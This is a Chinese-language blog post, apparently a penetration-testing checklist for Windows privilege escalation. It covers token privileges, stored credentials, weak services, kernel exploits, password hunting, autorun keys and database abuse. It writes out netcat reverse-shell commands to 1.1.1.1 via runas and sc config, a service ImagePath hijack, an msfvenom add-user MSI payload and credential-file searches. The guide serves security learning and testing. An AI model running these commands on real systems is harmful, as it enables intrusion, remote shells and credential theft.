男儿若遂平生志,五经勤向窗前读。


导航


壹 - Se 特权

  1. 检查当前用户是否拥有感兴趣的 Se 特权,如 SeImpersonatePrivilege/SeAssignPrimaryPrivilege、SeBackupPrivilege、SeRestorePrivilege/SeTakeOwnershipPrivilege 等。【命令 whoami /priv
  2. 若拥有 SeImpersonatePrivilege 特权,则展开土豆提权。【利用方法
  3. 若拥有 SeBackupPrivilege 特权,则需先进行 SAM/SYSTEM 文件提取,然后开始 PTH 攻击提权。【利用方法
  4. 至于其它特权所拥有的可利用特性,可根据此仓库内容进行研究探索。

贰 - RunAs

  1. 检查当前环境是否拥有任何存储的凭证。【命令 cmdkey /list
  2. 发现凭证,则可使用 runas /env /noprofile /savecred /user:admin "c:\temp\nc.exe 1.1.1.1 443 -e cmd.exe" 来进行权限移动。
  3. 若通过下文的密码搜寻获得了用户的密码信息,则可参考该文章进行权限移动。

叁 - 弱服务

  1. 弱服务的枚举最好还是通过工具 PowerUpwinPEAS 去自动分析,手工分析较为繁琐。弱服务类别如下:
  2. 服务权限:用户对服务自身具有修改权限,故可通过 sc 命令修改服务的启动程序路径或服务启动身份。【命令 sc config Juggernaut binPath= "C:\temp\nc.exe 1.1.1.1 443 -e C:\windows\system32\cmd.exe" 】【更多详情
  3. 注册表权限:用户对服务所对应的注册表具有写入权限,故可通过 reg 命令间接修改服务启动程序路径或服务启动身份的动作。【命令 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\shell.exe" /f】【更多详情
  4. 文件/目录权限:用户对服务启动程序所在目录具有写入权限,故可对启动程序进行替换。【更多详情
  5. 未引用的服务路径:(1)服务启动程序的绝对路径存在空格且没有使用双引号包裹,触发系统按照路径优先级逐层查找可执行文件。(2)在逐层查找的路径中,用户对其中一个目录具有写入权限。(3)依此在目录下写入一个 对应名称 的恶意程序。【更多详情
  6. DLL 劫持:类似“弱文件/目录权限”中替换服务启动程序一样,DLL 劫持会对服务启动程序所加载的 DLL 文件进行直接替换或间接劫持。
    1. 直接替换要求用户对服务启动程序所在目录具有写入权限。【注:既如此,何不直接替换启动程序】【更多详情
    2. 间接劫持需要分析服务启动时会加载哪些 DLL,同时需要对 DLL 标准搜索目录其中之一具有写入权限。【注:这种只对已知通用的服务有效果】【更多详情
    3. 一些利用系统 DLL 加载进行攻击的仓库推荐:
      1. https://github.com/xct/diaghub
      2. https://github.com/itm4n/UsoDllLoader
      3. https://github.com/sailay1996/WerTrigger

注意:在对服务进行利用之前,先知悉自己有没有触发服务重启的能力(重启服务[sc start *]、重启电脑),否则做了也是无用工。

肆 - Windows 内核

  1. 查看 OS 版本信息,确认 Windows 的新旧版本。【命令 systeminfo

  2. Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。旧版 Windows 系统可将 systeminfo.txt 内容交给自动工具 wesngWindows Exploit Suggester 2 去离线分析,或在受害机本机使用 sherlock.ps1 脚本去分析,分析结果中交集的漏洞可优先实验。【更多详情

  3. Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统。新版 Windows 系统建议使用自动工具 winPEAS去受害机本地分析,或通过 kali 内置工具 Searchsploit 去离线手工查找。【更多详情

  4. 优质内核漏洞利用推荐

    1. PrintNightmare:几乎所有受支持的 Windows 版本。
    2. cve_2022_21882_win32k【MSF 亦支持】:几乎覆盖 Win10 所有版本。
    3. 其它已编译的内核漏洞

注意:Windows 内核漏洞的众多利用程序中,有一些是需要在 GUI 环境才能够正常使用的,这一点需特别注意。

伍 - 密码搜寻

  1. 无人值守文件常见路径,如下:

    1. C:\unattend.xml
    2. C:\Windows\Panther\Unattend.xml
    3. C:\Windows\Panther\Unattend\Unattend.xml
    4. C:\Windows\system32\sysprep.xml
    5. C:\Windows\system32\sysprep\sysprep.xml
  2. 用户家目录中的 *.* 文件 。【命令 dir /s /b c:\users\ | findstr .*\..*
  3. PowerShell 历史文件
    1. type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
    2. cat (Get-PSReadlineOption).HistorySavePath
  4. IIS 配置和 Web 文件
    1. Get-Childitem -Recurse C:\inetpub | findstr -i "directory config txt aspx ps1 bat xml pass user" 结果中的 web.config、connectionstrings.config 文件,或类似的 config 文件。
    2. 除了 IIS 默认使用的 C:\inetpub 目录外,还有这些目录值得注意:C:\apacheC:\nginxC:\xamppC:\wamp
  5. 若能够登录 SQL 数据库,则遍历 系统内置库/用户自建库 中用户表中的账户密码。

陆 - 杂项

1、AlwaysInstallElevated

  1. 检查 AlwaysInstallElevated 功能是否开启。【值为 1 表示功能已启用】

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  2. 制作载荷 msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi

2、开机自启

  1. 自启应用-目录:icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"【有写权限时,将程序或 bat 放入即可。】
  2. 自启应用-注册表:reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"【(1)有注册表写权限时,可以在此键下面创建新键;(2)观察其中的子键程序路径,查看是否存在弱目录权限程序路径未引用的问题。】

注: 上述注册表路径中与 Run 同路径下的其它键 RunOnce、R、Runex、Runonceex 亦值得关注。RunOnce 子键中的程序在执行一次之后,该子键便被删除了。

柒 - 服务程序

在此之前,首先通过命令 netstat -anop tcp | findstr.exe LISTENING 确定在此系统中有哪些运行的服务可能是我们感兴趣的。

1、MSSQL

  1. 利用场景1:(1)拥有数据库登录账户,且能执行 xp_dirtree 指令。(2)尝试通过responder 捕获 MSSQL 服务账户的 NetNTLMv2 哈希值进行破解尝试。【利用方法
  2. 利用场景2:(1)拥有数据库管理员账户 sa。(2)通过 xp_cmdshell 指令获得服务账户权限的 shell 反向连接。【利用方法
  3. 注意:(1)获得的任何 MSSQL 数据库账户都值得去尝试是否有权限去执行 xp_dirtree、xp_cmdshell 指令,因为权限分配不严谨的问题时有发生。(2)任何服务账户的 Se 特权都可能比普通账户要多,故突破点也会变多,因此任何服务账户的获得都可能会出现意外惊喜。

2、MySQL UDF

  1. 利用条件:(1) mysqld 进程以管理员或 SYSTEM 身份运行。(2) 拥有高权限的数据库登录账户,如 root。(3) mysql 版本符合 4.x/5.x/[6.x?]。【命令 mysql -V
  2. 利用方法:参考链接1参考链接2
  3. 获取方式:命令 ``searchsploit mysql udf`,id1518。

3、PrintNightmare

  1. 利用场景1-RCE:(1)拥有一个标准用户凭证。(2)远程枚举 Print Spooler 服务正在运行。【命令 rpcdump.py @1.1.1.1 | egrep 'MS-RPRN|MS-PAR'】【利用方法
  2. 利用场景2-LPE:本地检查 Print Spooler 服务正在运行。【命令 sc query Spooler 】【利用方法

4、不安全的 GUI 程序

  1. 利用条件:(1)已获得 GUI 交互界面。(2)搜寻那些默认以 auto-elevated 高权限运行的程序。
  2. 值得尝试的程序推荐:
    1. CompMgmtLauncher.exe
    2. eventvwr.exe
    3. taskschd.msc
    4. 控制面板-疑难解答-帮助和支持-打开命令提示符窗口。【win7 之前有该功能,win0 已移除。】

注:这些程序可能并不能够成功提权,但它们还有另一个作用是可以进行 UAC 绕过。虽然很鸡肋,但这个技巧还是值得保留。

捌 - 自动化工具

  1. PEASS-ng
  2. PowerUp
  3. Seatbelt
  4. PrivescCheck

Windows 提权指南的更多相关文章

  1. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  2. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  3. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  4. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  5. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  7. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  8. windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)

    对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...

  9. Windows提权与开启远程连接

    1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...

  10. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. Python实战:为Prometheus开发自定义Exporter

    Python实战:为Prometheus开发自定义Exporter 在当今的微服务架构和容器化部署环境中,监控系统的重要性不言而喻.Prometheus作为一款开源的系统监控和警报工具,以其强大的功能 ...

  2. Vue项目实战:构建你的第一个项目

    Vue项目实战:从零到一构建你的第一个应用 准备工作 在开始使用Vue之前,请确保您已经安装了Node.js 16.0或更高版本.Node.js是运行Vue项目所必需的JavaScript运行环境. ...

  3. 识别与防御CSRF漏洞

    识别与防御CSRF漏洞 CSRF(Cross-Site Request Forgery,跨站请求伪造),通常也被称为"一键攻击"或"会话劫持",其缩写为CSRF ...

  4. FLink自定义Sink,生产的数据导出到Redis

    一.pom文件 https://www.cnblogs.com/robots2/p/16048648.html 二.自定义sink 2.1 自定义sink package net.xdclass.cl ...

  5. .Net Core WebAPI部署多服务器配置Nginx负载均衡

    下载Nginx包: https://nginx.org/en/download.html 首先下载Nginx包 注意:下载路径必须为英文,不能到中文: 启动Nginx: 打开刚刚下载的Nginx包,然 ...

  6. [WC2014] 紫荆花之恋 题解

    啊啊啊啊啊啊啊啊啊啊啊我终于改完啦啊啊啊啊啊啊啊. 因为没有在最开始的时候将所有点设置为已经重构的,所以直接 \(R15-R70\) 间卡了两三天. 似乎也是我第一次大规模使用指针了. 这道题假如只有 ...

  7. JavaScript 浏览本地文件夹

    1. JavaScript 浏览本地文件夹 button.onclick = async function () {// 给按钮绑定事件 try { const handler = await sho ...

  8. 探究高空视频全景AR技术的实现原理

    1. 引言 笔者认为现阶段AR技术的应用是还是比较坑爹的,大都是噱头多但是实用的成分少,拿出来做做DEMO是可以,但是难以在实际的项目中落地产生实际的经济价值.一方面是很难在业务上难以找到合适的应用场 ...

  9. LCP 17. 速算机器人

    地址:https://leetcode-cn.com/problems/nGK0Fy/ <?php /** LCP 17. 速算机器人 小扣在秋日市集发现了一款速算机器人.店家对机器人说出两个数 ...

  10. php获取类名

    <?php class ParentClass { public static function getClassName() { return __CLASS__; } } class Chi ...